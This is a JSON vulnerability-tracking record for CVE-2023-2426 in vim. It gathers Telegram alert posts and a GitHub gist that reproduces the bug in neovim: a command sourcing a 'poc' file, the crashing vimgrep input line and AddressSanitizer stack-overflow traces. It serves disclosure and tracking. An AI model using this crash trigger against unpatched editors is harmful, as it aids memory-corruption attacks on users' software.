{"vulnerability": "CVE-2023-2426", "sightings": [{"uuid": "178724bc-7bda-4f57-a764-733d5eeb21e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-24269", "type": "seen", "source": "Telegram/Ia5nM3bwbz6Ho7jh6Pw4zSkYQhwlFMaVVZVjwmxq7UQfyeGy", "content": "", "creation_timestamp": "2025-01-30T23:28:04.000000Z"}, {"uuid": "a404f8ba-bf92-43d8-b53e-99f6baf82383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2426", "type": "seen", "source": "https://t.me/arpsyndicate/2436", "content": "#ExploitObserverAlert\n\nCVE-2023-2426\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2023-2426. Use of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 9.0.1499.\n\nFIRST-EPSS: 0.000420000\nNVD-IS: 3.6\nNVD-ES: 1.8", "creation_timestamp": "2024-01-04T05:28:15.000000Z"}, {"uuid": "38999b0c-dd4b-455c-8b0b-8359fc6b7b79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-24261", "type": "seen", "source": "https://t.me/cibsecurity/65398", "content": "\u203c CVE-2023-24261 \u203c\n\nA vulnerability in GL.iNET GL-E750 Mudi before firmware v3.216 allows authenticated attackers to execute arbitrary code via a crafted POST request.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-22T00:36:39.000000Z"}, {"uuid": "10bf087a-4c70-4b5c-b328-f90c0704c1e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2426", "type": "seen", "source": "https://t.me/cibsecurity/63114", "content": "\u203c CVE-2023-2426 \u203c\n\nUse of Out-of-range Pointer Offset in GitHub repository vim/vim prior to 9.0.1499.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-04-30T02:28:18.000000Z"}, {"uuid": "8c8b3ab5-ac9f-4c85-8309-94aa9001a892", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-2426", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/a89418ca08c32d035bb41dc76b01f0fc", "content": "Command:\n./nvim-0.9.5 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nchdir(vim/)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-2426)\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: lv[a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a [fg*\n\nCVE-2023-2426=================================================================\n==25153==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc056414bc at pc 0x00000099ae2f bp 0x7ffc05641070 sp 0x7ffc05641068\nREAD of size 4 at 0x7ffc056414bc thread T0\n    #0 0x99ae2e in vgr_match_buflines /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5297:24\n    #1 0x98ad08 in vgr_process_files /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5446:26\n    #2 0x987eb6 in ex_vimgrep /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5554:16\n    #3 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #4 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #5 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #6 0x9e86aa in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2167:5\n    #7 0x9e6daa in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1717:14\n    #8 0x9e6c8e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1725:3\n    #9 0x75457d in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x74be9c in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2282:7\n    #11 0x74703a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:578:20\n    #12 0x749541 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:281:10\n    #13 0x517cab in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1899:5\n    #14 0x5110a4 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:578:5\n    #15 0x7f001ff51082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #16 0x467f6d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.9.5-ASAN+0x467f6d)\n\nAddress 0x7ffc056414bc is located in stack of thread T0 at offset 1084 in frame\n    #0 0x99a5df in vgr_match_buflines /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5217\n\n  This frame has 2 object(s):\n    [32, 36) 'score' (line 5262)\n    [48, 1072) 'matches' (line 5263) <== Memory access at offset 1084 overflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5297:24 in vgr_match_buflines\nShadow bytes around the buggy address:\n  0x100000ac0240: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac0250: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac0260: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac0270: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac0280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100000ac0290: 00 00 00 00 00 00 f3[f3]f3 f3 f3 f3 f3 f3 f3 f3\n  0x100000ac02a0: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00\n  0x100000ac02b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac02c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100000ac02d0: 00 00 00 00 f1 f1 f1 f1 f8 f8 f8 f8 f8 f8 f8 f3\n  0x100000ac02e0: f3 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25153==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: lv[a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a [fg*\n\nCVE-2023-2426=================================================================\n==25642==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffec32e28dc at pc 0x000000db145f bp 0x7ffec32e2490 sp 0x7ffec32e2488\nREAD of size 4 at 0x7ffec32e28dc thread T0\n    #0 0xdb145e in vgr_match_buflines /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5366:24\n    #1 0xd902d7 in vgr_process_files /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5517:26\n    #2 0xd8a11e in ex_vimgrep /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5625:16\n    #3 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #4 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #5 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #6 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #7 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #11 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #12 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #13 0x7f19982cb082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #14 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\nAddress 0x7ffec32e28dc is located in stack of thread T0 at offset 1084 in frame\n    #0 0xdb081f in vgr_match_buflines /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5286\n\n  This frame has 2 object(s):\n    [32, 36) 'score' (line 5331)\n    [48, 1072) 'matches' (line 5332) <== Memory access at offset 1084 overflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/quickfix.c:5366:24 in vgr_match_buflines\nShadow bytes around the buggy address:\n  0x1000586544c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1000586544d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1000586544e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1000586544f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100058654500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100058654510: 00 00 00 00 00 00 00 00 00 00 f3[f3]f3 f3 f3 f3\n  0x100058654520: f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00\n  0x100058654530: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100058654540: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100058654550: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100058654560: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25642==ABORTING", "creation_timestamp": "2026-09-21T07:36:09.492183Z"}]}